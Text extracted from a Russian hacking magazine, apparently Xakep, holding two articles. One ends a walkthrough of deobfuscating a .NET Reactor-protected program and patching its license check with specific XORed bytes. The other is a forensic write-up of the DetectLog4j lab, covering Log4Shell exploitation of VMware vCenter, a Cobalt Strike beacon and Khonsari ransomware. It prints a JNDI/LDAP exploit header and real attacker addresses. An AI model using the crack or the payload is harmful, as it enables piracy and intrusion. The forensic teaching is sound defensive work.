прог рамму. А вот и хорошая новость: в при ложе нии нет анти отладчи ка, при- 
ложе ние прек расно запус кает ся и трас сиру ется, при чем при трас сиров ке
«пус тых» методов во вклад ке Call Stack вид но, что счет чик команд переме- 
щает ся по невиди мому коду и про вали вает ся в вызовы. Погуляв всле пую
по коду, мы обна ружи ваем еще одну хорошую новость: не все методы пере- 
име нова ны, некото рые наз вания впол не осмыслен ны, и мож но даже
нащупать про цеду ру про вер ки валид ности (на скрин шоте выше — ).

Тело дан ного метода скры то, но наз вание и индекс извес тны, и это уже
что-то.

isValid

Поп робу ем подой ти к деоб фуска ции по стан дар тной схе ме: для начала
нат равли ваем на при ложе ние de4dot. К сожале нию, в нашем слу чае этот
метод не работа ет, de4dot ничего не деоб фусци рует. Более ста рые вер сии
сра зу валят ся с ошиб кой:

 

 

 

 

de4dot v3.1.41592.3405 Copyright (C) 2011-2015 de4dot@gmail.com 
Latest version and source code: https://github.com/0xd4d/de4dot

Detected .NET Reactor 4.8

Не обра ботан ное исклю чение: 
System.Security.Cryptography.CryptographicException: Недопус тимая дли на 
дан ных для дешиф рования. 
   
в System.Security.Cryptography.RijndaelManagedTransform.TransformFinalBl
ock(Byte[] inputBuffer, Int32 inputOffset, Int32 inputCount) 
   в de4dot.code.deobfuscators.DeobUtils.AesDecrypt(Byte[] data, Byte[] 
key, Byte[] iv) в D:\a\de4dot-cex\de4dot-
cex\de4dot.code\deobfuscators\DeobUtils.cs:стро ка 87 
   
в de4dot.code.deobfuscators.dotNET_Reactor.v4.EncryptedResource.Decrypte
rV1.Decrypt(EmbeddedResource resource) в D:\a\de4dot-cex\de4dot-
cex\de4dot.code\deobfuscators\dotNET_Reactor\v4\EncryptedResource.cs:ст
ро ка 225 
   
в de4dot.code.deobfuscators.dotNET_Reactor.v4.EncryptedResource.Decrypt(
) 
...

Вер сии пос вежее фор мулиру ют ошиб ку лаконич нее:

 

 

 

 

Latest version and source code: http://www.de4dot.com/ 
21 deobfuscator modules loaded!

Detected .NET Reactor 4.8

ERROR: 
ERROR: 
ERROR: 
ERROR: Hmmmm... something didn’t work. Try the latest version.

Ну теперь мы хотя бы зна ем, с чем име ем дело, — это .NET Reactor вер сии
пред положи тель но 4.8. Вер сия доволь но ста рая, одна ко с ней не справ ляет- 
ся даже спе циаль но обу чен ный под .NET Reactor de4dot. Ошиб ка та же, и нам
сно ва пред лага ют поис кать вер сию пос вежее.

Труд ности нас не оста нав лива ют: в кон це кон цов, мы уже научи лись раз- 
бирать более кру тые обфуска торы типа Agile бук валь но изнутри на самом
низ ком уров не. Заг ружа ем нашу зло получ ную прог рамму в отладчик x32dbg
и вспо мина ем все то, о чем я писал в . Дабы не тра тить
вре мя на пов торение, опус каю длин ное опи сание теоре тичес кой час ти про- 
цес са. Вкрат це: заг ружа ем биб лиоте ку cljit.dll, отла доч ные сим волы к ней
и ста вим точ ку оста нова на вход JIT-ком пилято ра .

пре дыду щей статье

CILJit::compileMethod
Ука зан ный спо соб работа ет, то есть при каж дом вызове ком пилято ра

в поле  струк туры  мы видим рас шифро ван ный
IL-код каж дого метода. В прин ципе, мож но ана лизи ровать код и даже пат чить
на лету, но это дол го и уто митель но, вдо бавок нас ждет еще одна лож ка дег тя.
Напом ню, что в  я опи сывал слег ка жуль ничес кий спо соб
опре делить индекс ком пилиро ван ной про цеду ры. Суть его сос тоит в том, что
хендл  (пер вое двой ное сло во в струк туре ), если

его исполь зовать как ука затель, ука зыва ет на оди нар ное сло во — индекс
метода в .NET метада те EXE-модуля.

ILCode CORINFO_METHOD_INFO

пре дыду щей статье

ftn CORINFO_METHOD_INFO

Так вот, этот хал турный спо соб работа ет не всег да, в чем мы с огор чени ем
и убеж даем ся. Зная индекс метода  , дела ем усло- 

вием оста нов ки на брейк-пой нте  выраже ние 
, но точ ка оста нова не сра баты вает, хотя опре делен- 

ные этим спо собом индексы на дру гих методах похожи на пра виль ные. Что-то
пош ло не так, надо искать более кор рек тный спо соб иден тифика ции метода.
Ины ми сло вами, дви жение по это му пути, конеч но, пер спек тивно, но тер- 
нисто, да и сам путь готовит нам мас су подоб ных сюр при зов. По счастью,
для нашего слу чая есть и более прос тые спо собы решения задачи, ибо
умные люди, как обыч но, все при дума ли за нас.

isValid 25250 (0x62A2)
CILJit::compileMethod word:

[[[esp+0xc]]]==0x62A2

А при дума ли они про ект под наз вани ем . Так же как и упо- 
мяну тый выше мод de4dot, он заточен под рас шифров ку и деоб фуска цию
.NET Reactor, но в отли чие от пре дыду щего он не валит ся с ошиб кой, а впол не
себе успешно соз дает деоб фусци рован ный модуль, в котором методы уже
не скры ты от дизас сем бли рова ния в dnSpy.

NetReactorSlayer

Мо дуль пос ле NetReactorSlayer

При чем деоб фуска цией мож но управлять: у прог раммы есть клю чи коман-
дной стро ки. К при меру, при исполь зовании клю ча  (Don’t

deobfuscate methods) мы получа ем исходный обфусци рован ный байт-код
метода в том виде, в котором он хра нит ся в фай ле. При отсутс твии же это го
клю ча по умол чанию NetReactorSlayer пыта ется отфиль тро вать код
от паразит ных инс трук ций в исходный вид до обфуска ции. Нап ример,
обфусци рован ный код иско мого метода  выг лядит вот так:

--no-deob

isValid

  public bool get_IsValid()
{
    while (false)
   {

          object arg_0A_0 = null[0];
   }
      int arg_66_0 = 0;
    while (true)
   {

        switch (arg_66_0)
       {

        case 0:
            if (!this.IsActivated)

           {
                 arg_66_0 = 4;

                if (!false)
               {
                   continue;
               }
           }
           break;

        case 1:
        case 4:

            goto IL_49;
        case 5:

            goto IL_93;
       }
       IL_32:

        if (!this.IsEvaluation)
       {

            return true;
       }

         arg_66_0 = 5;
        if (false)

       {
            goto IL_49;

       }
       continue;
       IL_83:

        goto IL_32;
       IL_49:

        if (this.IsGenericLicense)
       {

            goto IL_83;
       }

        return false;
   }
   IL_93:
      return this.DaysLeft > 0;
}

А пос ле деоб фуска ции сво рачи вает ся в коротень кое однос троч ное выраже- 
ние:

  public bool get_IsValid()
{
        

    
return (this.IsActivated || this.IsGenericLicense) && (!this.

IsEvaluation || this.DaysLeft > 0);
}

То есть мы фак тичес ки добились сво ей цели — откры ли код и даже деоб- 
фусци рова ли его, но, к сожале нию, столь близ кое счастье сно ва усколь зает
от нас. Деоб фусци рован ный модуль нап рочь нерабо тос пособен: при запус ке
прог раммы ошиб ки сып лются в самых неожи дан ных мес тах, и никакие ком- 
бинации клю чей  не реша ют эту проб лему. При бли жай- 
шем рас смот рении мы понима ем и ее суть: нес мотря на всю свою полез- 
ность, NetReactorSlayer — не вол шебная кноп ка, а раз вива ющий ся про ект,
к сожале нию далекий от совер шенс тва. В некото рых методах наз вания
потеря ны, код так и не открыт, и деоб фуска ция оставля ет желать луч шего.

NetReactorSlayer

Ес ли у тебя мно го вре мени и тер пения, мож но вдум чиво и кро пот ливо
пофик сить каж дый проб лемный метод, но мы, как обыч но, поп робу ем най ти
более корот кий путь. По счастью, у нас есть исходный код NetReactorSlayer,
поп робу ем его про ана лизи ровать. Сно ва не буду вда вать ся в под робнос ти,
жела ющие могут открыть про ект и под робно в нем разоб рать ся. Вмес то это го
я заос трю вни мание на опре делен ных момен тах. Рас шифров кой кода в про- 
екте занима ется модуль , а кон крет но метод . Этот

метод счи тыва ет из обфусци рован ного модуля блок зашиф рован ных дан ных
и в два при ема рас шифро выва ет его. Пос ле стро ки

NecroBit.cs Execute

 XorEncrypt(methodsData, GetXorKey(decryptorMethod));

мас сив  содер жит рас шифро ван ный код методов обфусци- 

рован ного модуля. Давай пос мотрим, что NetReactorSlayer про делы вает
с этим мас сивом даль ше, и выяс ним при мер ный фор мат хра нения дан ных
в нем. Цикл чте ния и ана лиза всех рас шифро ван ных методов выг лядит так:

methodsData

   
  

while ((ulong)methodsDataReader.Position < (ulong)((long)(methodsData
.Length - 1)))
{
   ...
         int size2 = methodsDataReader.ReadInt32(); // Размер IL-кода 
метода
       byte[] methodData = methodsDataReader.ReadBytes(size2); // 
IL-код метода
         if (!rvaToIndex.TryGetValue(rva3, out int methodIndex)) // 
methodIndex — индекс метода
 {
     Logger.Warn("Couldn't find method with RVA: " + rva3);
 }
 else
 {
          uint methodToken = (uint)(100663297 + methodIndex); Токен метода

Вот сра зу за этим мес том мы уже зна ем сме щение до рас шифро ван ного IL-
кода метода нуж ного нам индекса и сам рас шифро ван ный код. В нашем слу- 
чае IL-код метода  выг лядит так:isValid

  /* 0x00158568 2B09         */ IL_0000: br.s      IL_000B

  /* 0x0015856A 28FFFFFFFF   */ IL_0002: call      <null>

  /* 0x0015856F 14           */ IL_0007: ldnull
  /* 0x00158570 16           */ IL_0008: ldc.i4.0
  /* 0x00158571 9A           */ IL_0009: ldelem.ref
  /* 0x00158572 26           */ IL_000A: pop

  /* 0x00158573 16           */ IL_000B: ldc.i4.0
    /* 0x00158574 2DF9         */ IL_000C: brtrue.s IL_0007

...

Что бы любая лицен зия ста ла валид ной, нам дос таточ но поменять в этом коде
два пер вых бай та на сле дующие:

  /* 0x00158568 17          */ IL_0000: ldc.i4.0
  /* 0x00158569 2A          */ IL_0001: ret

В исходном (нерас шифро ван ном) модуле по это му  зна чения двух бай тов
соот ветс твен но рав ны . По счастью, метод шиф рования дан ных —

обыч ный XOR по клю чу. Поэто му, что бы поменять их на нуж ные, вспо мина ем
, где мы про делы вали ана логич ную

опе рацию.

RVA
9E F4

дру гую мою статью про патч инстал лятора

Счи таем новые зна чения этих двух бай тов:

9E XOR 2B XOR 17 = A2 
F4 XOR 09 XOR 2A = D7 

Ме няем эти два бай та на новые зна чения и на вся кий слу чай про веря ем пра- 
виль ность замены, еще раз нат равив на исправ ленный модуль
NetReactorSlayer.

Бин го! Теперь и вправ ду декоди рован ное тело метода содер жит толь ко
, что и под твержда ет запуск прог раммы — лицен зия под ходит!

Таким обра зом, мы получи ли не толь ко полез ный рас ширя емый и совер шенс- 
тву емый инс тру мент для ревер са при ложе ний, защищен ных .NET Reactor (в
том чис ле нес тандар тных), но и быс трый спо соб пат ча подоб ных при ложе ний
без пол ного ревер са и перес борки прог раммы.

return true

https://xakep.ru/author/mikhail_kondakov/
https://xakep.ru/2021/03/04/dotnet-reversing/
https://xakep.ru/2021/03/04/dotnet-reversing/
https://xakep.ru/2021/03/04/dotnet-reversing/
https://github.com/SychicBoy/NetReactorSlayer
https://xakep.ru/2020/09/07/msi-hack/
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ВЗЛОМ

В этой статье я покажу ход рас сле дова ния киберин циден та
на при мере лабора тор ной работы  с ресур са

. Мы научим ся извле кать арте фак ты из обра- 
за дис ка Windows, ана лизи ровать их и с исполь зовани ем
этих дан ных выяс ним, как зло умыш ленник ском про мети- 
ровал сис тему.

DetectLog4j
CyberDefenders

В биб лиоте ке жур налиро вания Java Log4j (вер сия 2) был обна ружен экс пло- 
ит 0-day, который при водит к уда лен ному выпол нению кода через регис тра- 
цию опре делен ной стро ки. Эта уяз вимость получи ла наз вание Log4Shell
и иден тифика тор . Биб лиоте ка Log4j исполь зует ся во мно гих
про дук тах, точ ное количес тво и перечень которых уста новить невоз можно.
В этой лабора тор ной работе мы научим ся обна ружи вать экс плу ата цию уяз- 
вимос ти Log4Shell и иссле довать арте фак ты, которые сви детель ству ют о ее
исполь зовании.

CVE-2021-44228

По сце нарию зло умыш ленни ки взло мали веб-сер вер и получи ли пол ный
кон троль над ним. Спе циалис ты по реаги рова нию на инци ден ты сде лали
побито вую копию сис темно го дис ка ском про мети рован ной машины на базе
опе раци онной сис темы Windows. Заг рузим файл  и нач нем его иссле- 
дова ние.

об раза

По резуль татам решения кей са необ ходимо отве тить на ряд воп росов,
но я покажу сам про цесс решения и не буду под све чивать отве ты. Ты можешь
пов торить все самос тоятель но, что бы луч ше разоб рать ся и зак репить
матери ал.

INFO

Чи тай так же:
•Log4Shell. Уяз вимость, которая может стать

худ шей проб лемой 2021 года
•Раз бира ем Log4Shell во всех под робнос тях

ÏËÀÍ ÈÑÑËÅÄÎÂÀÍÈß

Про ана лизи руем сле дующие арте фак ты опе раци онной сис темы Windows:
1. Фай лы реес тра , , , которые рас положе ны в катало ге

.
SAM SOFTWARE SYSTEM

C:\Windows\System32\config
2. Фай лы логов опе раци онной сис темы. Они находят ся в катало ге 

.
C:\

Windows\System32\winevt\Logs
3. Фай лы логов про дук та VMware vCenter Server.
4. User Registry Hives — файл , содер жащий информа цию, свя- 

зан ную с дей стви ем поль зовате ля. Фай лы  хра нят ся в катало- 
ге .

NTUSER.DAT
NTUSER.DAT

%userprofile%
5. MFT (глав ная таб лица фай лов) — сис темный файл, содер жащий метадан- 

ные объ екта фай ловой сис темы. Этот файл рас положен в кор не каж дого
раз дела NTFS, выг рузить его мож но с помощью FTK Imager или R-Studio.

Рас сле дова ние раз делим на нес коль ко эта пов:
1. По луче ние информа ции об объ екте иссле дова ния.
2. По иск точ ки вхо да в сис тему. На этом эта пе выяс ним, как зло умыш ленник

ском про мети ровал сис тему и какие вре донос ные фай лы исполь зовал.
3. По иск спо соба зак репле ния. Выяс ним, как зло умыш ленни ки обес печили

себе пос тоян ный дос туп к сис теме.

Ис поль зуемые ути литы:
1. Ути литы : Registry Explorer, MFTECmd.EricZimmerman
2. Ути литы : FullEventLogView.NirSoft
3.  — ути лита для вос ста нов ления дан ных с дис ка.R-Studio
4.  — ути лита для соз дания исходно го кода Java из фай лов Android Dex

и Apk.
Jadx

5.  — прог рамма для опре деле ния типов фай лов.DIE
6.  — инс тру мент для ана лиза и получе ния обра зов дис ка.FTK Imager

ÏÎËÓ×ÅÍÈÅ ÈÍÔÎÐÌÀÖÈÈ ÎÁ ÎÁÚÅÊÒÅ ÈÑÑËÅÄÎÂÀÍÈß

Файл обра за дис ка  записан в фор мате Expert Witness
Format (EWF) и содер жит побито вую копию дан ных. Сде лать циф ровую копию
дис ка в этом фор мате мож но с помощью ути литы . При мон тиру ем
иссле дуемый диск в Windows и извле чем из него арте фак ты, необ ходимые
для рас сле дова ния инци ден та.

DetectLog4Shell.E01

EnCase

От кро ем ути литу FTK Imager и при мон тиру ем образ дис ка. Для это го
перехо дим на вклад ку File → Image Mounting. В поле Image File выбира ем
образ  и вво дим нас трой ки, ука зан ные ниже.Webserver.e01

Нас трой ки для мон тирова ния обра за

На жима ем Mount. Иссле дуемый образ дол жен при мон тировать ся, и мы уви- 
дим сле дующую информа цию.

Мы не можем получить дос туп к сис темным фай лам, пос коль ку нам не хва тает
для это го раз решений. Вос поль зуем ся ути литой R-Studio и выг рузим фай лы
реес тра , , , рас положен ные в катало ге 

.

SYSTEM SAM SOFTWARE %WINDOWS%/
Windows/System32/config/

Мы получим информа цию из кус та реес тра . Заг рузим ее в ути литу
Registry Explorer, наж мем File → Load hive, затем выберем иссле дуемый файл.
Информа ция о вре мен ной зоне хра нит ся в клю че , рас- 

положен ном в вет ви .

SYSTEM

TimeZoneKeyName
ControlSet001\Control\TimeZoneInformation

Ин форма ция о вре мен ной зоне

Вре мен ные мет ки во вре мен ной зоне — .

Имя компь юте ра хра нит ся в клю че 

.

Pacific Standart Time (UTC-8)
Windows\System32\config\SYSTEM: 

ControlSet001\Control\ComputerName\ComputerName

Имя компь юте ра

Ин форма ция об IP-адре се машины рас положе на в клю че 

, где  — иден- 
тифика тор адап тера. Докумен тация об этом клю че реес тра есть на сай те

.

ControlSet001\
Services\Tcpip\Parameters\Interfaces\{ea202436-8a31-4cb6-9b59-
5be0c2bc1692} {ea202436-8a31-4cb6-9b59-5be0c2bc1692}

Microsoft

Ин форма ция о сетевом адап тере ском про мети рован ной машины

Флаг  озна чает, что сетевой адрес выда ется сер вером DHCP
. IP-адрес хос та — .

EnabledDHCP
192.168.112.254 192.168.112.139

В клю че  хра нит ся

информа ция о домен ном име ни компь юте ра.

ControlSet001\Services\Tcpip\Parameters

Ин форма ция о домен ном име ни

До мен ное имя компь юте ра — . Про ана лизи руем вет ку

реес тра , что бы получить информа цию об опе раци онной сис теме.

Заг рузим эту вет ку реес тра в ути литу Reg Explorer. В клю че 
 содер жится вер сия опе раци онной сис темы

и текущий номер сбор ки.

cyberdefenders.org
SOFTWARE

Microsoft\
Windows NT\CurrentVersion

Ин форма ция об опе раци онной сис теме

Объ ект нашего иссле дова ния — опе раци онная сис тема Windows Server 2016
Standard Evaluation, вер сия сбор ки — 14393.

Те перь получим информа цию обо всех уста нов ленных при ложе ниях.
Для это го заходим в ключ реес тра 

, который хра нит информа цию об уста нов ленных прог раммах.

Находим инте ресу ющий нас про дукт, в нашем слу чае VMware.

Microsoft\Windows\CurrentVersion\
Uninstall

Ин форма ция о вер сии про дук та VMware vCenter Server

На ском про мети рован ной машине уста нов лен , вер сия
уста нов ленно го про дук та — 6.7.0.40322. Фай лы прог раммы рас полага ются
в пап ке .

VMware vCenter Server

Program Files\VMware\vCenter Server
Те перь най дем вер сию биб лиоте ки логиро вания Log4j. Для это го перехо- 

дим в каталог 

 и ищем файл . Вер сия биб лиоте ки — 

. В этом же катало ге хра нит ся файл кон фигура ции , который
содер жит уро вень логиро вания жур нала биб лиоте ки Log4j2.

Program Files\VMware\vCenter Server\VMware Identity 
Services log4j-core-2.11.2.jar 2.
11.2 log4j2.xml

Кон фигура ция биб лиоте ки log4j2

Про ана лизи руем вет ку реес тра , что бы узнать информа цию о поль зовате- 

лях. В клю че  хра нит ся вся информа ция о поль- 
зовате лях сис темы.

SAM
SAM\Domains\Account\Users

Ин форма ция о поль зовате ле myoussef

В спис ке юзе ров мы обна ружи ваем учет ные записи  и . Дата

соз дания поль зовате ля  — . О поль- 

зовате ле  есть сле дующая информа ция, и в ней хра нит ся под сказ ка
о пароле поль зовате ля.

myoussef mhasan
myoussef 2021-12-28 06:57:23 UTC

mhasan

Ин форма ция о поль зовате ле mhasan

INFO

Что бы авто мати зиро вать ана лиз фай лов реес тра,
мож но вос поль зовать ся биб лиоте кой 
для Python3. Она поз воля ет получать необ- 
ходимую для ана лиза информа цию из клю чей
реес тра опе раци онной сис темы.

Registry

ÏÎÈÑÊ ÒÎ×ÊÈ ÂÕÎÄÀ

Мы выяс нили, что на ском про мети рован ной машине уста нов лен про дукт
. Най дем его логи и нач нем их иссле довать. Нам

извес тно, что зло умыш ленни ки экс плу ати рова ли уяз вимость 
.  под робно опи сана схе ма ата ки.

VMware vCenter Server
CVE-2021-44228

Log4Shell Здесь
Уяз вимость в про дук те VMware vCenter Server вер сии 6.7 находит ся

в заголов ке  на стра нице вхо да 

, где в качес тве полез- 

ной наг рузки переда ется стро ка 

. Пос ле уста нов ки соеди нения
с сер вером зло умыш ленни ка по про токо лу LDAP заг ружа ется вре донос ная
наг рузка, которую выпол няет .

X-Forwarded-For https://<адрес хоста>/
websso/SAML2/SSO/<ДНС-имя хоста>?SAMLRequest=

X-Forwarded-For: \\${jndi:ldap://<
ДНС-адрес злоумышленника>:1389/payload}

Powershell.exe
Про ана лизи руем логи VMware vCenter Server, рас положен ные в катало ге

.ProgramData\VMware\vCenterServer\runtime\VMwareSTSService\logs
В момент, соот ветс тву ющий вре мен ной отметке 

, обна ружен успешный вход поль зовате ля 
.

28.12.2021 в 12:39:28
UTC administrator@vsphere.
local

Ус пешный вход поль зовате ля administrator@vsphere.local

На чиная с  обна руже ны попыт ки экс плу ата ции уяз- 
вимос ти Log4Shell в сис теме.

29.12.2021 01:50:06 UTC

Учас ток логов с экс плу ата цией уяз вимос ти Log4Shell

Зло умыш ленник в качес тве наг рузки исполь зовал адрес 

, что бы
опре делить, уяз вим ли уста нов ленный в сис теме про дукт VMware vCenter
Server.

log4shell.
huntress.com:1389/b1292f3c-a652-4240-8fb4-59c43141f55a

Ис точни ком ата ки слу жит компь ютер с IP-адре сом . Пос- 
ле успешной ком про мета ции была заг ружена полез ная наг рузка с IP-адре са
ата кующе го .

192.168.112.128

ldap://192.168.112.128/0=tomcat
В резуль тате ана лиза логов VMware vCenter Server вер сии 6.7 мы обна- 

ружи ли точ ку вхо да зло умыш ленни ков в сеть орга низа ции.

Продолжение статьи →

mailto:grigadan454@gmail.com
https://cyberdefenders.org/blueteam-ctf-challenges/86
https://cyberdefenders.org/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
https://cyberdefenders.org/labs/enroll/71
https://xakep.ru/2021/12/17/log4shell-story/
https://xakep.ru/2022/01/12/log4hell/
http://ericzimmerman.github.io/#!index.md
https://www.nirsoft.net/
https://www.r-studio.com/ru/
https://github.com/skylot/jadx
https://github.com/horsicq/Detect-It-Easy
https://accessdata.com/product-download/ftk-imager-version-4-5
https://security.opentext.com/encase-forensic
https://docs.microsoft.com/en-us/troubleshoot/windows-client/networking/tcpip-and-nbt-configuration-parameters
https://customerconnect.vmware.com/en/downloads/info/slug/datacenter_cloud_infrastructure/vmware_vsphere/7_0
https://github.com/williballenthin/python-registry
https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis
https://www.sprocketsecurity.com/blog/how-to-exploit-log4j-vulnerabilities-in-vmware-vcenter


УРОКИ ФОРЕНЗИКИ
РАССЛЕДУЕМ КИБЕРИНЦИДЕНТ ПО СЛЕДАМ

LOG4SHELL

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÌÅÒÎÄÛ ÏÎÑÒÝÊÑÏËÓÀÒÀÖÈÈ

Мы выяс нили, что зло умыш ленник про экс плу ати ровал уяз вимость CVE-2021-
44228 в про дук те VMware vCenter Server 29.12.2021 в 01.50.50 UTC. Заг рузим
логи опе раци онной сис темы, для это го откро ем ути литу FullEventLogView,
наж мем File → Choose Data Source и выберем каталог, в который выг рузили
логи из пап ки  иссле дуемо го обра за. Затем

перей дем на вклад ку Options → Advanced Options и выберем инте ресу ющее
нас вре мя 29.12.2021 01:50 UTC.

Windows\System32\winev\Logs

Кон фигура ция допол нитель ных парамет ров для ана лиза логов Windows

Най дем события . В 02:09:51 29.12.2021 UTC зло умыш- 

ленни ками выпол нен код коман дной обо лоч ки .

powershell.exe
Powershell.exe

По лез ная наг рузка

Сле дующим эта пом эта полез ная наг рузка декоди рует ся и выпол няет ся. Так- 
же при ана лизе логов мы обна ружи ли сле дующий код.

Де коди руемая полез ная наг рузка

По лез ная наг рузка декоди рует ся по алго рит му Base64, а далее рас паковы- 
вает ся с исполь зовани ем gzip. Для пре обра зова ния перей дем на сайт

, выберем , заг рузим пред став ленные

выше закоди рован ные дан ные и про дол жим ана лиз.

CyberChef From Base64 -> Gunzip

Пре обра зуемая полез ная наг рузка

В перемен ной  содер жится шелл-код, который выпол няет ся
в . Выпол ним дан ный скрипт, что бы обна ружить адрес

управля юще го цен тра. Для это го откро ем ути литу ProcessHacker2, перей дем
на вклад ку Network и най дем про цесс Powershell.exe.

$var_code
Powershell.exe

Се тевое вза имо дей ствие с управля ющим сер вером

Наг рузка вза имо дей ству ет с управля ющим сер вером 

по пор ту  и пред став ляет собой обратную обо лоч ку для фрей мвор ка

Cobalt Strike.

192.168.112.128
1337

ÑÎÕÐÀÍÅÍÈÅ ÏÎÑÒÎßÍÑÒÂÀ Â ÑÈÑÒÅÌÅ

Про ана лизи руем реестр, что бы понять, как зло умыш ленни ки зак репились
в сис теме. В вет ке  поль зовате ля 

 в клю че 
 мы обна ружи ваем имя исполня емо го фай ла.

NTUSER.dat Administrator.WIN-
B633EO9K91M SOFTWARE\Microsoft\Windows\CurrentVersion\
RunOnce

Сох ранение пос тоянс тва в сис теме

Для зак репле ния в сис теме зло умыш ленни ки исполь зовали исполня емый
файл . Дан ный файл по его пути мы най ти не смог ли, но с
помощью ска ниро вания анти вирус ными средс тва ми обна ружи ли вре донос- 
ный файл . Получим вре мен ную мет ку его соз дания

и иссле дуем его.

baaaackdooor.exe

C:\khonsari.exe

Раз берем, в какое вре мя был соз дан файл . Для это го

с исполь зовани ем ути литы  откро ем при мон тирован ный вир туаль- 

ный диск, най дем в кор не файл  и выг рузим его.

khonsari.exe
R-Studio

$MFT

Файл MFT

Вос поль зуем ся инс тру мен том  и получим информа цию об объ- 

ектах фай ловой сис темы в файл CSV.

MFTECmd.exe

MFTECmd.exe -f $MFT --csv .\RESULT\MFT

Мы получи ли файл, содер жащий пути ко всем объ ектам фай ловой сис темы,
а так же мет ки вре мени. С исполь зовани ем поис ка най дем файл 

. Все мет ки вре мени в таб лице MFT исполь зуют часовой пояс UTC.

khonsari.
exe

Че рез поиск най дем иссле дуемый файл — он соз дан 2021-12-29 02:15:56
UTC.

Да та соз дания фай ла khonsari.exe

Так же в фай ле MFT обна руже на дата соз дания фай ла  и путь
к нему.

khonsari.dmp

Да та соз дания фай ла dmp

По лучен ные дан ные сви детель ству ют о том, что вре донос ный файл запущен
от име ни учет ной записи , при сво ей
работе он получил ошиб ку, и дамп работы сох ранен на дис ке.

Administrator.WIN-B633EO9K91M

По лучим MD5-хеш исполня емо го фай ла  и най дем его

на VirusTotal: , имя фай ла 

. В отче те VirusTotal обна руже на пер вая дата заг рузки вре донос ного фай- 
ла: 2021-12-11 22:57:01 UTC. Файл опре деля ется анти вирус ными средс тва ми
сле дующим обра зом.

khonsari.exe
6ac57a1e090e7abdb9b7212e058c43c6 khonsari.

exe

Де тек тирова ние вре донос ного фай ла анти вирус ными средс тва ми

По лучим информа цию о вре донос ном фай ле, для это го вос поль зуем ся ути- 
литой .DIE

Ре зуль тат работы ути литы Die.exe

При ложе ние написа но на . Деком пилиру ем исполня емый файл. Для это го

мож но вос поль зовать ся ути литой  или . Най дем фун кцию 
и раз берем фун кци ональ ность. Код при ложе ния обфусци рован.

C#
DnSpy ILSpy main

Учас ток кода вре донос ного фай ла

Пер вым делом заг ружа ется тек сто вый файл с адре са, ука зан ного в перемен- 
ной . Эта стро ка пре обра зует ся опе раци ей XOR с клю чом в перемен ной

. Пос ле декоди рова ния заг ружа ется файл с ресур са

. Про вай дер IP-адре са 
 — Amazon Technologies Inc.

text
text2="GoaahQrC
http://3.145.115.94/zambos_caldo_de_p.txt 3.
145.115.94

Да лее вре донос ный исполня емый файл  получа ет информа- 

цию о катало гах поль зовате ля и начина ет шиф ровать фай лы по алго рит му
AES. Каж дому зашиф рован ному фай лу прис ваивает ся рас ширение 

. Перед шиф ровани ем рас ширение фай ла про веря ется по алго рит- 

му, реали зован ному в фун кции . Все фай лы с рас ширени ями 

и  не шиф руют ся прог раммой-вымога телем.

khonsari.exe

.
khonsari

LxqQxinF .ini
.khonsari

Ис сле дуемый нами файл был запущен 29.12.2021 02:17:18, но в резуль- 
тате сбоя он не сра ботал в ском про мети рован ной сис теме.

Ошиб ка работы исполня емо го фай ла khonsari.exe

Дамп сбой ного при ложе ния так же мож но най ти в катало ге 
.

C:\ProgramData\
Microsoft\Windows\WER\ReportArchive\

INFO

Ког да при ложе ние ава рий но завер шает свое
выпол нение в Windows, механизм отче тов
об ошиб ках WER собира ет под робную отла доч- 
ную информа цию об исполня емом фай ле. Дамп
содер жит имя при ложе ния и заг ружа емые
модули. Этот механизм — один из важ ных арте- 
фак тов опе раци онной сис темы, который необ- 
ходимо ана лизи ровать.

Что бы сох ранить пос тоян ное при сутс твие в сис теме, зло умыш ленни ки
исполь зовали ключ реес тра 

 вет ки  поль зовате ля 

. Пос ле это го они заг рузили прог рамму-вымога тель 
.

SOFTWARE\Microsoft\Windows\
CurrentVersion\RunOnce NTUSER.dat Administrator.
WIN-B633EO9K91M C:\
khonsari.exe

ÓÑÒÐÀÍÅÍÈÅ ÓßÇÂÈÌÎÑÒÈ

Для устра нения уяз вимос ти CVE-2021-44228 в про дук тах VMware VCenter
Server вер сии 6.7 необ ходимо про вес ти обновле ние 3q сбор ки 19300125.
Если обно вить ся невоз можно, сле дует вос поль зовать ся , который
пуб лику ет ком пания VMware.

сце нари ем

В целях обновле ния исполь зует ся скрипт ,

который оста новит служ бы vCenter Server, запус тит Java-фай лы с фла гом
, рас паку ет файл 

и уда лит  из всех фай лов jar/war на устрой стве. Пер- 

воначаль ная проб лема в биб лиоте ке Log4j была устра нена в вер сии .

vc_log4j_mitigator.py

log4j2.formatMsgNoLookups=true log4j-core-2.x.x.jar
JndiLookup.class

2.15.0
Про ана лизи руем файл . Для это го пере име нуем

его в фор мат ZIP и выг рузим файл 

(sha256:0f038a1e0aa0aff76d66d1440c88a2b35a3d023ad8b2e3bac8e25a3208
499f7e). Откро ем его в ути лите jadx и най дем зна чение, хра няще еся
в перемен ной .

log4j-core-2.11.2.jar
org/apache/logging/log4j/core/

lookup/JndiLookup.class

CONTAINER_JNDI_RESOURCE_PATH_PREFIX=java:comp/env/

Со дер жимое фай ла JndiLookup.class

ÇÀÊËÞ×ÅÍÈÅ

По резуль татам решения лабора тор ной работы мы научи лись извле кать
из опе раци онной сис темы Windows арте фак ты, необ ходимые для рас сле-
дова ния инци ден та. Про ана лизи рова ли реестр и получи ли пер вичную
информа цию об объ екте иссле дова ния, про ана лизи рова ли логи VMware
vCenter Server вер сии 6.7 и обна ружи ли экс плу ата цию уяз вимос ти Log4Shell
(CVE-2021-44228). Источни ком компь ютер ной ата ки был хост с IP-адре сом

, вре мя начала ата ки — 29.12.2021 в 01.50.50 UTC.192.168.112.128
Да лее мы обна ружи ли заг ружен ную на взло ман ную машину полез ную наг- 

рузку — PowerShell-маячок фрей мвор ка Cobalt Strike. Мы выяви ли метод зак- 
репле ния в сис теме и наш ли заг ружен ную зло умыш ленни ком прог- 
рамму-вымога тель. Наконец, мы наш ли методы устра нения уяз вимос ти
Log4Shell в про дук тах VMware vCenter Server.

https://gchq.github.io/CyberChef
https://www.virustotal.com/gui/file/f2e3f685256e5f31b05fc9f9ca470f527d7fdae28fa3190c8eba179473e20789/detection
https://github.com/horsicq/Detect-It-Easy
https://github.com/dnSpy/dnSpy/releases
https://github.com/icsharpcode/ILSpy
https://kb.vmware.com/s/article/87096
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ВЗЛОМ

По чему-то при нято счи тать, что для защиты
сер веров и сетевой инфраструк туры обя- 
